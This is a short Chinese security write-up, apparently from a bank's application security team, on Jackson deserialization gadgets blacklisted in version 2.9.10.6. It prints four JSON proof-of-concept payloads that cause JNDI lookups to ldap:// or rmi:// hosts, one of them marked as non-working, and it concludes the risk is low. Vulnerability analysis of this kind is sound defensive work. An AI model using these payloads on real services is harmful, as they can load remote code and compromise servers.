Jackson反序列化漏洞:2.9.10.6版本以前 – 作者:平安银行应用安全团队

引言

今天又看到有一些安全预警平台爆出的 Jackson 反序列漏洞,要求把 Jackson 升级到 2.9.10.6,所以在下面对漏洞原理和适用范围做一下分析,并给出 poc。

补丁分析

补丁特别简单,也如同漏洞公告一样,增加了几处黑名单。1598517116.jpg!small

POC 构造

br.com.anteros.dbcp.AnterosDBCPDataSource

先看一下该 jar 包的 maven 引用次数,

1598517195.jpg!small

再构造 poc(原理简单,不做细节描述),

["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://ytcrpi.ceye.io:1399/test"}]

com.pastdev.httpcomponents.configuration.JndiConfiguration

先看一下该 jar 包的 maven 引用次数,

1598517337.jpg!small

再构造 poc(原理简单,不做细节描述),

["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://gggg.ytcrpi.ceye.io:1399/test"]

com.nqadmin.rowset.JdbcRowSetImpl

先看一下该 jar 包的 maven 引用次数,

1598517400.jpg!small

再构造 poc(原理简单,不做细节描述),

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl

先看一下该 jar 包的 maven 引用次数,

1598517461.jpg!small

再构造 poc(原理简单,不做细节描述),

["org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

注意:这一条 poc 实际上是不可用的,其原因在于该类中因为存在重名函数导致的 jackson 在反序列化的时候会报同名函数冲突。这是一个原理层面可用,实际不可用的 poc。

总结

1. 利用成功需要开启 enableDefaultTyping。(Jackson 早已经默认关闭)

2. Gadget 的 jar 极其罕见。

结论:基本没什么用,不必大惊小怪,不放心请用 poc 自行去测试。

作者:平安银行应用安全团队 @Glassy

来源:freebuf.com 2020-08-27 17:08:50 by: 平安银行应用安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论